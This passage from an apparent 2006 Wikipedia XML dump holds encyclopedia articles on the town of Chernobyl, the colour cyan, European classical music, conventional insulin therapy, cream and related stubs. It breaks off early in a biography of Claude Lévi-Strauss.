Wormwood is a different (but related) plant, ''[[Artemisia absinthium]]'', Полин (Polyn). &quot;Polyn&quot; has no English equivalent, but corresponds to the botanical genus ''Artemisia''. Botanically, mugwort is &quot;Common Polyn&quot; (Ukr. Полин звичайний); while wormwood is &quot;Bitter Polyn&quot; (Ukr. Полин гіркий).

Still more confusion comes from the fact that the word &quot;wormwood&quot; is used in the English text of the Apocalypse, whose usage as the name of a plant does not necessarily match that of the original Greek.

Chernobyl bears poetic connotations in folklore, for a number of reasons.  Its strong smell is evocative of the [[steppe]], as various species of ''[[Artemisia (plant)|Artemisia]]'' are widespread there -- though the town of Chornobyl is in the wooded and swampy Polissia region, quite far from the steppe. Chernobyl roots were used in folk medicine for deworming and to heal neurotic conditions, although an overdose could lead to neurological disorders, including memory loss.  In Ukrainian folklore, it is used to banish the mischeivous water nymphs called ''rusalky''.

The word &quot;Chernobyl&quot; is also sometimes used as slang to describe certain nuclear installations.

==History==
Chernobyl first appeared in a charter of [[1193]] described as a hunting-lodge of  [[knyaz]] [[Rostislavich]]. Some time later it was taken into the [[Grand Duchy of Lithuania]], where it became a crown village. The castle was built for defence against marauding [[Tatars]]. In [[1566]], three years before the [[Grand Duchy]]'s rule, Ukrainian provinces were transferred to the [[The Jagiellon Era|Kingdom of Poland]], Chernobyl was granted in perpetuity to a Captain of the royal cavalry, [[Filon Kmita]], who thereafter styled himself ''[[Kmita Czarnobylski]]''. In due course, it passed by marriage to the [[Sapieha]]s, and in [[1703]] to the [[Chodkiewicz]] family. It was annexed by the [[Russian Empire]] after the [[Partition of Poland|Second Partition of Poland]] in [[1793]].

Chernobyl had a very rich religious history. The [[Jewish]] community, which formed an absolute majority, would probably have been imported by Filon Kmita as agents and arendators during the Polish campaign of colonisation. Later on, they would have included [[Hasidic Judaism|Chasidim]] as well as [[Orthodox Jews]]. The traditionally [[Eastern Orthodoxy|Eastern Orthodox]] Ukrainian peasantry of the district was largely forced by Poland to the [[Greek Catholic]] (Uniate) religion after [[1596]], and returned to [[Eastern Orthodoxy|Russian Orthodoxy]] after Ukraine's unification with [[Russia]].

The [[Dominican order|Dominican]] church and monastery were founded in [[1626]] by [[Lukasz Sapieha]], at the height of the [[Counter-reformation]]. There was a group of [[Old Catholics]], who opposed the decrees of the [[Council of Trent]], just as the seventeenth century saw the arrival of a group of ''Raskolniki'', or &quot;[[Old Believers]]&quot;, from Russia. They all escaped the worst horrors of the [[Bohdan Chmielnicki|Chmielnicki Uprising]] of [[1648]]-[[1654|54]] (also known as [[Polish-Cossack War]]) and those of [[1768]]-[[1769|9]], when one of the rebel leaders, [[Bondarenko]], was caught and brutally executed by [[Jan Karol Chodkiewicz]]'s [[hussar]]s.

The Dominican monastery was sequestrated in [[1832]], the church of the ''Raskolniki'' in [[1852]]. Since [[1880]], Chernobyl has seen many changes of fortune. In [[1915]], it was occupied by the [[Germany|Germans]], and in the ensuing [[Russian Civil War]], was fought over by [[Bolshevik]]s, [[White Army|Whites]], and Ukrainians. In the [[Polish-Soviet War]] of [[1919]]-[[1920|20]], it was taken first by the Polish Army and then by the Red Cavalry of the [[Red Army]]. From [[1921]], it was incorporated into the [[Ukrainian SSR]], and experienced the mass killings of [[Joseph Stalin|Stalin]]'s collectivisation campaign and [[Holodomor]]. The [[Poland|Polish]] population was deported during the [[Frontier Clearances]] of [[1936]]. The [[Jewish]] community was killed by the [[Nazi|Nazis]] during the German occupation of [[1941]]-[[1944|44]]. Twenty years later, it was chosen as the site of one of the first [[Soviet Union|Soviet]] [[nuclear power]] stations.

On [[April 26]], [[1986]], the Chernobyl-4 [[nuclear reactor]], located 14.5 km north-northwest of the city, exploded. All permanent residents were evacuated because [[radioactive contamination|radiation]] levels in the area had become unsafe. See [[Chernobyl accident]].

Chernobyl remains inhabited by a small number of residents who decided to return to their homes after the accident, but the majority of the evacuated population now live in specially constructed towns such as Slavutich. Many animals have been introduced into the town to promote the growth and success of the ecosystem there; some of these appear to be flourishing in the radioactive environment, whilst others appear to be affected adversely.

==See also==
* [[Chernobog]]
* [[Chernobyl accident]]
* [[Pripyat, Ukraine]]
* [[Zone of alienation]]
* [[Elena Filatova]]
* [[Chernobyl (Hasidic dynasty)]]
* [[Chernobyl2020]]
* [[Chernobyl Children's Project International]]
* [[Adi Roche]]

== External links ==
{{commonscat|Chernobyl}}
* [http://www.bike2belarus.com bike2belarus], an Irish Student Charity Organisation
* [http://www.mosnews.com/news/2005/08/11/traveltochernobyl.shtml Biological diversity in Chernobyl region is higher]
* [http://www.ruf.rice.edu/~sarmatia/195/davies.html Chernobyl], [[Norman Davies]], Sarmatian Review, 1/95
* [http://maps.google.com/maps?ll=51.370923,30.140305&amp;spn=0.200761,0.481407&amp;t=k&amp;hl=en Satellite images of Chernobyl area], Google Maps
* [http://www.opuszczone.com Chernobyl and Pripet Photos], Chernobyl Photos

[[Category:Cities in Ukraine]]
[[Category:Chernobyl accident]]

[[bg:Чернобил]]
[[cs:Černobyl]]
[[da:Tjernobyl]]
[[de:Tschornobyl]]
[[eo:Cxernobilo]]
[[es:Chernóbil]]
[[fi:Tshernobyl]]
[[fr:Tchernobyl (ville)]]
[[gd:Tearnòbail (sgiorradh)]]
[[it:Chernobyl]]
[[he:צ'רנוביל]]
[[hu:Csernobil]]
[[mo:Чернобыл]]
[[nl:Tsjernobyl]]
[[ja:チェルノブイリ]]
[[no:Tsjernobyl]]
[[pl:Czarnobyl]]
[[pt:Chernobil]]
[[ro:Cernobîl]]
[[ru:Чернобыль]]
[[sv:Tjernobyl]]
[[uk:Чорнобиль]]</text>
    </revision>
  </page>
  <page>
    <title>Cyan</title>
    <id>6102</id>
    <revision>
      <id>41615747</id>
      <timestamp>2006-02-28T15:12:17Z</timestamp>
      <contributor>
        <username>Notinasnaid</username>
        <id>86195</id>
      </contributor>
      <comment>Remove incorrect assertion that cyan ink is not actually cyan in color: see talk for reference. Also reworded a bit</comment>
      <text xml:space="preserve">:''This article is about the color. For other senses of this word see [[cyan (disambiguation)]].''
{{infobox color|
 title= Cyan|
 hex= 00FFFF|
 r=  0|g=255|b=255|
 c=100|m=  0|y=  0|k=  0|
 h=180|s=100|v=100
}}
'''Cyan''' is the name of any of a number of colours. One definition is a color made by mixing equal amounts of [[green]] and [[blue]] [[light]] (it also is a pure [[optical spectrum|spectral]] [[color]]). As such, cyan is the [[complementary color|complement]] of [[red]]: cyan [[pigment]]s absorb red light. Cyan is sometimes called blue-green or [[Turquoise (color)|turquoise]] and often goes undistinguished from light blue. Cyan is often referred to as &quot;Electric Blue&quot;.

Cyan is also one of the common inks used in [[four-color printing]], along with [[magenta]], [[yellow]], and [[black]]; this set of colors is referred to as [[CMYK]]. 

Note that while both of these colors are called ''cyan'' they are actually substantially different from one another. Cyan printing ink is much less vivid--indeed, CMYK printing technology cannot accurately reproduce pure cyan as described above (100% blue + 100% green) on [[paper]]. 

[[Image:Cyan1.png|left|framed|spectral reflectance curve]]&lt;br clear=&quot;left&quot;/&gt;

== See also ==
*[[List of colors]]

{{EMSpectrum}}
{{color-stub}}
[[Category:Shades of cyan|*]]

[[af:Siaan (kleur)]]
[[ca:Cian]]
[[de:Cyan]]
[[eo:Cejana]]
[[es:Cian]]
[[fr:Cyan]]
[[he:ציאן]]
[[it:Ciano]]
[[ja:シアン (色)]]
[[nl:Cyaan]]
[[nb:Cyan]]
[[ru:сине-зелёный]]
[[sv:Cyan]]
[[vi:Xanh lơ]]
[[zh:青色]]</text>
    </revision>
  </page>
  <page>
    <title>European classical music</title>
    <id>6104</id>
    <revision>
      <id>42005689</id>
      <timestamp>2006-03-03T04:19:06Z</timestamp>
      <contributor>
        <username>Gandalf1491</username>
        <id>922626</id>
      </contributor>
      <minor />
      <comment>/* Timeline */  spelling</comment>
      <text xml:space="preserve">:''This article is about the [[genre]] of '''classical music''' or [[art music]] in the Western musical tradition. For articles on classical music of non-Western cultures, see [[Classical music (disambiguation)|Classical music]]. For the period of music in the late 18th century, see [[Classical music era]]''.

{{History of European art music}}

'''Classical music''' is a broad, somewhat imprecise term, referring to [[music]]   produced in, or rooted in the traditions of, [[Western art history|European art]], ecclesiastical and concert music, encompassing a broad period from roughly 1000 to the present day. The central norms of this tradition, according to one school of thought, developed between 1550 and 1825, focusing on what is known as the [[common practice period]].

The term '''classical music''' did not appear until the early 19th century, in an attempt to 'canonize' the period from Bach to Beethoven as an era in music parallel to the golden age of [[sculpture]], [[architecture]] and art of [[classical antiquity]], (from which of course no music has directly survived). The earliest reference to 'classical music' recorded by the [[Oxford English Dictionary]] is from about 1836. Since that time the term has developed in common parlance as a simple opposite to [[popular music]].

== Timeline ==

According to one school of thought, musical works are best understood in the context of their place in musical history; for adherents to this approach, this is essential to full enjoyment of these works. There is a widely accepted system of dividing the history of classical music composition into stylistic periods. According to this system, the major time divisions are:


* [[Ancient music]] - the  music generally before the year 476, the approxiamate time of the fall of the [[Roman Empire]].  Most of the extant music from this period is from ancient [[Greece]].
* [[Medieval European music|Medieval]], generally before 1450.  Monophonic chant, also called plainsong or [[Gregorian Chant]], was the dominant form until about 1100. Polyphonic (multivoiced) music developed from monophonic chant throughout the late Middle Ages and into the Renaissance.
* [[Renaissance music|Renaissance]], about 1450&amp;ndash;1600, characterized by greater use of [[instrumentation (music)|instrumentation]], multiple melodic lines and by the use of the first bass instruments.
* [[Baroque music|Baroque]], about 1600&amp;ndash;1750, characterized by the use of complex tonal, rather than modal, [[counterpoint]], and growing popularity of keyboard music ([[harpsichord]] and [[pipe organ]]).
* [[Classical music era|Classical]], about 1730&amp;ndash;1820, an important era which established many of the norms of composition, presentation and style. Also, the classical era is marked by the disappearance of the harpsichord and the clavichord in favour of the piano, which from then on would become the predominant instrument for keyboard performance and composition.
* [[Romantic music|Romantic]], 1815&amp;ndash;1910 a period which codified practice, expanded the role of music in cultural life and created institutions for the teaching, performance and preservation of works of music.
* [[Modernism (music) | Modern]], 1905-1985 a period which represented a crisis in the values of classical music and its role within intellectual life, and the extension of theory and technique. Some theorists, such as [[Arnold Schoenberg]] in his essay &quot;Brahms the Progressive,&quot; insist that Modernism represents a logical progression from 19th century trends in composition; others hold the opposing point of view, that Modernism represents the rejection or negation of the method of Classical composition.
* [[20th century classical music|20th century]], usually used to describe the wide variety of post-Romantic styles composed through the year [[2000]], which includes late Romantic, Modern and Post-Modern styles of composition.
* The term [[contemporary music]] is sometimes used to describe music composed in the late 20th century through present day.
* The prefix ''[[neo-|neo]]'' is usually used to describe a 20th Century or Contemporary composition written in the style of an earlier period, such as classical, romantic, or modern. So for example, [[Sergei Prokofiev|Prokofiev]]'s ''Classical Symphony'' is considered a Neo-Classical composition.

The dates are [[Dates of classical music eras|generalizations]], since the periods overlapped.  Some authorities subdivide the periods further by date or style. However, it should be noted that these categories are to an extent arbitrary; the use of [[counterpoint]] and [[fugue]], which is considered characteristic of the Baroque era, was continued by [[Wolfgang Amadeus Mozart|Mozart]], who is generally classified as typical of the Classical period, by [[Ludwig van Beethoven|Beethoven]] who is often described as straddling the Classical and Romantic periods, and [[Johannes Brahms|Brahms]], who is often classified as Romantic.

This chart shows a selection of the most famous classical composers. For a more complete overview see [[Graphical timeline for classical composers]]
{{Timeline Classical Composers Famous}}

== Classical music as &quot;music of the classical era&quot; ==

''Main article:'' [[Classical music era]]

In [[music history]], a different meaning of the term ''classical music'' is occasionally used:  it designates music from a period in musical history covering approximately [[Carl Philipp Emanuel Bach]] to [[Ludwig van Beethoven|Beethoven]] &amp;ndash; roughly, 1730&amp;ndash;1820.  When used in this sense, the initial C of ''Classical music'' is sometimes capitalized to avoid confusion.

== The nature of classical music ==

Classical music is primarily a ''written'' musical tradition, preserved in [[music notation]], as opposed to being transmitted orally, by rote, or in recordings.  While differences between particular performances of a classical work are recognized, a work of classical music is generally held to transcend any particular performance of it.  Works that are centuries old often are performed far more often than works recently composed.  The use of notation is an effective vehicle for transmitting classical music because all active participants in the classical music tradition are able to read music and are schooled in both historical and contemporary performance practices.  Normally, this ability comes from formal training, which usually begins with learning to play an instrument, and sometimes continues with instruction in music theory and composition.  However, there are many passive participants in classical music who enjoy it without being able to read it or perform it.

Classical music is meant to be experienced for its own sake.  It is unlike those other forms of music that serve merely as an adjunct to other forms of entertainment.  Performances of classical music often take place in a relatively solemn atmosphere, with the audience expected to maintain silence and remain immobile during the performance, so that everyone can hear each note and nuance.  The performers usually dress formally, a practice which is often taken as a gesture of respect for the music, and performers normally do not engage in casual banter or other direct involvement with the audience. Amateur private readings of [[chamber music]] are more informal home occasions.

Written transmission, along with the veneration bestowed on classical works, has important implications for the performance of classical music.  To a fair degree, performers are expected to perform a work in a way that realizes the original intentions of the composer, which during the 19th century became stated ever more explicitly (down to the level of small, note-by-note details) in the   score. Indeed, deviations from the composer's intentions are sometimes condemned as outright ethical lapses.  Yet the opposite trend--admiration of performers for new &quot;interpretations&quot; of the composer's work, can be seen, and it is not unknown for a composer to praise a performer for achieving a better realization of the composer's original intent than the composer was able to imagine.  Thus, classical music performers often achieve very high reputations for their musicianship, even if they do not compose themselves.

Classical composition often aspires to a very complex relationship between the affective ([[emotion|emotional]]) content of the music, and the [[idea]] content. There is, in the most esteemed works of Classical music, an intensive use of [[Musical development]], the process by which a musical germ idea or ''motif'' is repeated in different contexts, or in altered form, so that the mind of the listener consciously or unconsciously compares the different versions.  The classical genres of [[sonata form]] and [[fugue]] employ particularly rigorous forms of musical development.  (See also [[History of sonata form]])

Another consequence of the primacy of the composer's written score is that ''[[improvisation]]'' plays a relatively minor role in classical music--in sharp contrast to traditions like [[jazz]], where improvisation is central.  Improvisation in classical music performance was far more common during the [[Baroque]] era, and recently the performance of such music by modern classical musicians has been enriched by a revival of the old improvisational practices.  During the Classical period, [[Wolfgang Amadeus Mozart|Mozart]] and [[Ludwig van Beethoven|Beethoven]] sometimes improvised the [[cadenza]]s to their [[piano concerto]]s--but tended to write out the cadenzas when other soloists were to perform them.

''Art music,'' ''concert music,'' and ''orchestral music'' are terms sometimes used as synonyms of classical music.

===Complexity===

Classical works are generally considered to display great musical complexity through heavy use of [[Musical development|development]], [[Modulation_(music)|modulation]] (changing of keys), little outright repetition, a wide use of musical phrases that are not default length--that is, four or eight bars long- counterpoint, polyphony and sophisticated harmony.

Also, in classical music very long works (30 minutes to three hours) may be built up hierarchically from smaller units (phrases, periods, sections, and movements). Structural levels are distinguished by [[Schenkerian analysis]].

===Emotional content===

As with many fine art forms, classical music often aspires to communicate a quality of emotion which has a transcendent quality, expressing universals of the human condition. They argue that this deeper reserve of expression allows classical music to reach what has been called the &quot;sublime&quot; in art.  Examples often cited in this argument are religious works such as the [[Mass (music)|Masses]] of Bach, Haydn, Mozart, Beethoven or Dvo&amp;#345;ák, or in works such as Beethoven's setting of [[Friedrich Schiller]]'s poem, ''[[Ode to Joy]]'', in the 9th symphony, which has often been used as a celebratory work at moments of national liberation or celebration, as in the [[Japan|Japanese]] practice of performing it to observe the New Year.

===Instruments===

Classical and popular music are distinguished to some extent by their choice of instruments.  For the most part, the instruments used in common practice classical music are non-electrical and were invented prior to the mid-19th century (often, much earlier), and codified in the [[18th century|18th]] and [[19th century|19th]] centuries.  They consist of the instruments found in an [[orchestra]], together with a few other solo instruments (such as the [[piano]], [[harpsichord]], [[organ (music)|organ]]).  The [[electric guitar]] and [[electric violin]] play an extremely prominent role in popular music, but naturally play no role in classical music, and only appear occasionally in the classical music of the 20th and 21st centuries.  Both classical and popular musicians have experimented for the last several decades with electrical or electronic instruments (for instance, the [[synthesizer]] or electronic tape), and instruments from other cultures (such as the [[gamelan]]).

It must be noted that all the bass instruments didn't exist until the Renaissance (in Medieval Music, instruments are divided in two categories: outdoor/church, which sound loud, and indoor instruments).

Also, many instruments which are associated today with popular music used to have important roles on early classical music, such as bagpipes, vilhuelas, hurdy-gurdys and some woodwind instruments. On the other hand, the acoustic guitar, for example, which used to be associated with popular music, started to gain prominence on classical music since the 19th century, what culminated in the 20th century, and today has a prestige it never had before.

Finally, it is important to know that the manners that a classical instrument is tuned may vary drastically according to the period from which the instrument is typical and the period in which the piece was composed. See [[musical tuning]].

===Permanence===

One criterion that might be said to distinguish classical music is staying power.  For instance, some of the works of [[Johann Sebastian Bach|J. S. Bach]] are now almost 300 years old, yet they continue to be widely performed.  

Bach had many contemporaries whose music was mediocre at best, and today their music is forgotten, surviving perhaps in libraries.  The repertoire of classical music is skewed toward works recognized as excellent by listeners over long periods of time.

===Influences between classical and popular music===

Classical music has always been influenced by or taken material from popular music. Examples include [[Erik Satie]], [[Kurt Weill]]'s ''[[The Threepenny Opera]]'', and [[postminimalism]], as well as much [[postmodern music|postmodern]] classical music. Even Brahms used popular themes, as in the student drinking songs that found their way into his ''[[Academic Festival Overture]]''.

Musical influence flows the other way as well, from classical music to popular music: one notable example is the &quot;[[Hooked on Classics]]&quot; series of recordings made by the [[Royal Philharmonic Orchestra]] in the early 1980s.

===Classical music and folk music===

Composers of classical music have often made use of [[folk music]], that is, music created by untutored musicians, spread by word of mouth.  Often, they have done so with an explicit nationalist ideology; in other cases they have simply mined folk music for thematic material.  See: [[European Classical Composers Noted for Use of Folk Music]]

== Commercial uses of classical music==

Certain staples of classical music are often used commercially (that is, either in advertising or in the soundtracks of movies made for entertainment). In television commercials, several loud, bombastically rhythmic orchestral passages have become cliches, particularly the opening &quot;O Fortuna&quot; of [[Carl Orff]]'s [[Carmina Burana]]; other examples in the same vein are the [[Dies Irae]] from the [[Verdi]] Requiem, and excerpts of [[Aaron Copland]]'s &quot;Rodeo&quot;.

Similarly, movies often revert to standard, cliched snatches of classical music to represent refinement or opulence: probably the most-often heard piece in this category is Mozart's [[Eine kleine Nachtmusik]].

== Classical music in education ==

Throughout history, parents have often made sure that their children receive classical music training from a young age.  Early experience with music provides the basis for more serious study later.  Some instruments, such as the violin, are almost impossible to learn to play at a professional level if not learned in childhood.  Some parents pursue music lessons for their children for social reasons or in an effort to instill a useful sense of self-discipline; lessons have also been shown to increase academic performance.  Some consider that a degree of knowledge of important works of classical music is part of a good general education.

The 1990s marked the emergence in the United States of research papers and popular books on the so-called [[Mozart effect]]: a temporary, small elevation of a Mozart listener's scores on certain tests. The popularized version of the controversial theory was expressed succinctly by a New York Times music columnist: &quot;researchers have determined that listening to Mozart actually makes you smarter.&quot; Promoters marketed CDs claimed to induce the effect. Florida passed a law requiring toddlers in state-run schools to listen to classical music every day, and in [[1998]] the governor of Georgia budgeted $105,000 a year to provide every child born in Georgia with a tape or CD of classical music. One of the original researchers commented &quot;I don't think it can hurt. I'm all for exposing children to wonderful cultural experiences. But I do think the money could be better spent on music education programs.&quot;

''See also'':
*[[Mozart effect]]
*[[Orff Schulwerk]]
*[[Suzuki method]]

== Related genres ==

*[[Film music]]
*[[Electronic art music]]
*[[Indian classical music]]
*[[Video game music]]

== Composers of classical music ==

*[[List of classical music composers]]

== Terms of classical music ==
For terms relating specifically to the performance of classical music, see the [[Musical terminology]].

==Literature==
*Norman Lebrecht, ''When the Music Stops: Managers, Maestros and the Corporate Murder of Classical Music'', Simon &amp; Schuster 1996



==External links==
*[http://www.classiccat.net/ Classic Cat] &amp;ndash; A directory of free classical MP3.
*[http://www.classical.net/ Classical.net] &amp;ndash; review, database and mailing-list resource
*[http://www.classicalarchives.com/ ClassicalArchives] &amp;ndash; music, artists, composers, [[MIDI]] files
*[http://www.chopinmusic.net/forum ChopinMusic Forum] &amp;ndash; a community of romantic music lovers
*[http://www.download-latest-online-music.com/free-classical-music-downloads.html European Classical Music] &amp;ndash; chronology and free downloads
*[http://www.musicweb-international.com MusicWeb International] &amp;ndash; CD reviews, composer articles, timelines, concert and book reviews
*[http://thegclef.blogspot.com The G Clef] All about Indian and European classical music. Also fine information on Classical Guitar and Recorder.
* [http://www.violinmp3.com/ ViolinMP3.com] Violin Information website, containing several classical music resources and composer guides

[[Category:Classical music| ]]
[[Category:European music|Classical music]]

[[af:Europese klassieke musiek]]
[[da:Klassisk musik]]
[[de:Klassische Musik]]
[[es:Música clásica]]
[[eo:Klasika muziko]]
[[fr:Musique classique]]
[[ko:&amp;#49436;&amp;#50577; &amp;#44256;&amp;#51204;&amp;#51020;&amp;#50501;]]
[[he:&amp;#1502;&amp;#1493;&amp;#1505;&amp;#1497;&amp;#1511;&amp;#1492; &amp;#1511;&amp;#1500;&amp;#1488;&amp;#1505;&amp;#1497;&amp;#1514;]]
[[hi:&amp;#2358;&amp;#2366;&amp;#2360;&amp;#2381;&amp;#2340;&amp;#2381;&amp;#2352;&amp;#2368;&amp;#2351; &amp;#2360;&amp;#2306;&amp;#2327;&amp;#2368;&amp;#2340;]]
[[it:Musica classica]]
[[nl:Klassieke muziek]]
[[ja:&amp;#21476;&amp;#20856;&amp;#27966;&amp;#38899;&amp;#27005;]]
[[pl:Muzyka powa&amp;#380;na]]
[[pt:Música clássica]]
[[ru:&amp;#1050;&amp;#1083;&amp;#1072;&amp;#1089;&amp;#1089;&amp;#1080;&amp;#1095;&amp;#1077;&amp;#1089;&amp;#1082;&amp;#1072;&amp;#1103; &amp;#1084;&amp;#1091;&amp;#1079;&amp;#1099;&amp;#1082;&amp;#1072;]]
[[zh:欧洲古典音乐]]</text>
    </revision>
  </page>
  <page>
    <title>Conventional insulinotherapy</title>
    <id>6105</id>
    <revision>
      <id>34106939</id>
      <timestamp>2006-01-06T13:33:01Z</timestamp>
      <contributor>
        <username>Krashlandon</username>
        <id>750649</id>
      </contributor>
      <text xml:space="preserve">'''Conventional insulinotherapy''' is a therapeutic regimen for
[[diabetes mellitus]] treatment.

It can be contrasted with [[intensive insulinotherapy]].

This is an older method that is still in use in a proportion of cases.&lt;br&gt;
Insulin injections of a mixture of rapid and intermediate acting Insulin are
performed once or twice daily. Frequent estimations of blood glucose is not
required.&lt;br&gt;
The down side of this method is the fact that it is difficult to achieve
as good results of [[glycemic control]] as with intensive insulinotherapy.

You can further explore related entries by following these :
* [[diabetes mellitus]]
* [[diabetes mellitus type 1]]
* [[diabetes mellitus type 2]]
* [[insulin]]
* [[intensive insulinotherapy]]
* [[Endocrinology]]

{{treatment-stub}} 

[[Category:Diabetes]]</text>
    </revision>
  </page>
  <page>
    <title>CBS inequality</title>
    <id>6106</id>
    <revision>
      <id>15904268</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Zundark</username>
        <id>70</id>
      </contributor>
      <comment>redirect to usual name</comment>
      <text xml:space="preserve">#REDIRECT [[Cauchy-Schwarz_inequality]]</text>
    </revision>
  </page>
  <page>
    <title>CPL</title>
    <id>6108</id>
    <revision>
      <id>35994470</id>
      <timestamp>2006-01-20T19:54:50Z</timestamp>
      <contributor>
        <username>SigPig</username>
        <id>310592</id>
      </contributor>
      <text xml:space="preserve">'''CPL''' or '''Cpl''' may stand for: 

* The [[Cyberathlete Professional League]]: a professional [[e-sports]] league.
* The [[Combined Programming Language]]: a computer [[programming language]] developed jointly between the Mathematical Laboratory at the [[University of Cambridge]] and the [[University of London]] Computer Unit during the [[1960s]]. 
* The [[Common Public License]]: an open source license from [[IBM]].
* The [http://www.cypherspace.org/CPL/ Cypherpunks anti-License]
* A [[Commercial Pilot License]]
* In computer science, [[Current privilege level]]
* The [[Chicago Public Library|Chicago Public Library System]] which has 79 branches in the city of Chicago.
* Coombs, Phillips and Lisansky, the founders of CPL Business Consultants
* [[Corporal]] (Cpl), a [[military rank]]
* [[Complementary Pass-transistor Logic]], one of many [[logic families]].
  
{{TLAdisambig}}


[[de:CPL]]</text>
    </revision>
  </page>
  <page>
    <title>Cream (food)</title>
    <id>6109</id>
    <revision>
      <id>41947159</id>
      <timestamp>2006-03-02T20:37:34Z</timestamp>
      <contributor>
        <username>Banes</username>
        <id>321824</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.86.1.17|24.86.1.17]] ([[User talk:24.86.1.17|talk]]) to last version by Eloy</comment>
      <text xml:space="preserve">{{Otheruses2|Cream}}

'''Cream''' is a [[dairy product]] that is composed of the higher-[[fat]] layer skimmed from the top of raw [[milk]] before [[homogenization]]. In the raw milk, over time, the lighter fat rises to the top. In the industrial production of cream this process is accelerated by using [[centrifuge]]s called &quot;separators&quot;. In many countries cream is sold in several grades depending on total fat content. Cream can be dried to a powder for shipment to distant markets. 

Cream produced by [[cattle]] (particularly [[Jersey cattle]]) grazing on natural [[pasture]] often contains some natural [[carotenoid]] pigments derived from the [[plant]]s they eat; this gives the cream a slight yellow tone, whence the name of the yellowish-white colour [[cream (colour)|cream]]. Cream from cows fed indoors, on grain or grain-based pellets, is white.

==Types of cream==
In the US, cream is usually sold as:
* Half-and-half (10.5-18% fat)
* Light, coffee, or table cream (18-30% fat)
* Medium cream (25% fat)
* Whipping or light whipping cream (30-36% fat)
* Heavy or heavy whipping cream (36+%)
* Extra-heavy or manufacturer's cream (38-40+%), generally not available at retail
Not all grades are defined by all jurisdictions, and the exact fat content ranges vary.  The above figures are based on the [[Code of Federal Regulations]], Title 21, Part 131 [http://www.accessdata.fda.gov/scripts/cdrh/cfdocs/cfcfr/CFRSearch.cfm?CFRPart=131][http://www.access.gpo.gov/nara/cfr/waisidx_05/21cfr131_05.html] and a small sample of state regulations.

[[Image:Hot chocolate mug with whipped cream.jpg|thumb|225px|Whipped Cream served atop [[hot chocolate]].]]

In the UK, cream is usually sold as:

* Half cream (12%)
* Single cream or Light cream (18%)
* Whipping cream (35%)
* Double cream (48%)

==Other cream products==

[[Sour cream]] in the [[United States]] is cream (18+% milkfat) that has been subjected to a [[bacterium|bacteria]]l culture that produces [[lactic acid]] (0.5%+), which sours and thickens it.

[[Crème fraîche]] is a heavy cream slightly soured with bacterial culture, but not as sour or as thick as American sour cream.  Mexican '''crema''' (or '''cream espesa''') is similar to crème fraîche.

In the UK, '''clotted cream''' is a very high fat (55%) product processed with heat.

[[Butter]] is made by [[Churning (butter)|churning]] cream.

==Whipped cream==
Cream with 30% or more of fat can be turned into '''whipped cream''' by mixing it with air. This roughly doubles the cream's volume as air bubbles are captured in a network of fat droplets. (Whipped cream is said to have been invented in 1671 by [[François Vatel]] for a banquet in honor of [[Louis XIV of France|Louis XIV]], though it's likely that it was actually known long before this.)  If the whipping is continued, the fat droplets stick together and form [[butter]]; the remaining liquid is [[buttermilk]]. 

'''Chantilly cream''' ([[French language|French]]: crème Chantilly) is whipped cream with sugar and vanilla.

==Cream as an ingredient==
Cream is used as an ingredient in many foods, including [[ice cream]], many [[sauce]]s, [[soup]]s, and some [[custard]] bases.

Cream (usually light cream or half-and-half) is often added to [[coffee]].

==Other foods called 'cream'==

Some foods or even [[cosmetics]] may be labelled ''cream'' but not because they are made with cream, but because they make claim to the consistency or richness of cream. In some locations labelling restrictions prevent the use of ''cream'' so variations such as ''creme'', ''kreme'', ''creame'', or ''whipped topping'' may be found.

*[[Butter cream]], a cake icing
*''[[Crème anglaise]]'', a light pouring custard

== See also ==

* [[Sour cream]]
* [[Kajmak]]
* [[Cool Whip]], a brand of imitation whipped cream.

==References==

*[[Larousse gastronomique]]

[[Category:Dairy products]]

[[da:Fløde]]
[[de:Sahne]]
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[[es:Crema de leche]]
[[fr:Crème fouettée]]
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[[sv:Grädde]]</text>
    </revision>
  </page>
  <page>
    <title>Claude Lévi-Strauss</title>
    <id>6110</id>
    <revision>
      <id>40903952</id>
      <timestamp>2006-02-23T20:11:10Z</timestamp>
      <contributor>
        <ip>145.222.138.134</ip>
      </contributor>
      <comment>Born in Belgium, but a citizen of France</comment>
      <text xml:space="preserve">:''This article is about the [[anthropologist]]. For the clothing manufacturer, see [[Levi Strauss]].''
[[Image:ClaudeLévi-Strauss.JPG|thumb|250px|Claude Lévi-Strauss]]
'''Claude Lévi-Strauss''' ([[International Phonetic Alphabet|pronounced]] |{{IPA|/klod levi st&amp;#641;os/}}) born [[November 28]], [[1908]], is a [[France|French]] [[anthropologist]] who became one of the twentieth century's greatest intellectuals by developing [[structuralism]] as a method of understanding human [[society]] and [[culture]].

==Biography==

Claude Lévi-Strauss is an anthropologist best known for his development of [[structural anthropology]]. He was born in [[Brussels]] and studied [[law]] and [[philosophy]] at the [[University of Paris|Sorbonne]] in [[Paris]]. He did not pursue his study of law, but [[agrégation|agrégated]] in philosophy in 1931.  After a few years of teaching secondary school, in 1935 he took up a last-minute offer to be part of a French cultural mission to [[Brazil]] in which he would serve as a visiting professor at the [[University of São Paulo]]. 

Lévi-Strauss lived in Brazil from [[1935]] to [[1939]].  It was during this time that he carried out his first ethnographic fieldwork, conducting periodic research forays into the [[Mato Grosso]] and the [[Amazon Rainforest]].  He studied first the [[Guaycuru]] and [[Bororo people|Bororo]] [[Indigenous people of Brazil|Indian tribes]], actually living among them for a while. Several years later, he came back again in a second, year-long expedition to study the [[Nambikwara]] and [[Tupi-Kawahib]] societies. It was this experience that cemented Lévi-Strauss's professional identity as an anthropologist.

He returned to France in [[1939]] to take part in the war effort, but after French capitulation to the Germans, Lévi-Strauss, a Jew, fled Paris.  Lévi-Strauss was offered a position in New York and granted admission to the United States, but still had to escape France.  After a series of attempts to obtain passage, Lévi-Strauss found a captain he had known on previous voyages and secured a space on a ship voyaging to South America.  A series of voyages eventually brought Lévi-Strauss to Puerto Rico where he had to undergo one final investigation by the FBI after customs agents grew suspicious of German letters in his luggage.  After satisfying suspicious government agents, Lévi-Strauss spent most of the war in [[New York City]].  Like many other intellectual emigrés, he taught at the [[New School for Social Research]].  Along with [[Jacques Maritain]], [[Henri Focillon]] and [[Roman Jakobson]], he was a founding member of the [[École Libre des Hautes Études]], a sort of university-in-exile for French academics.

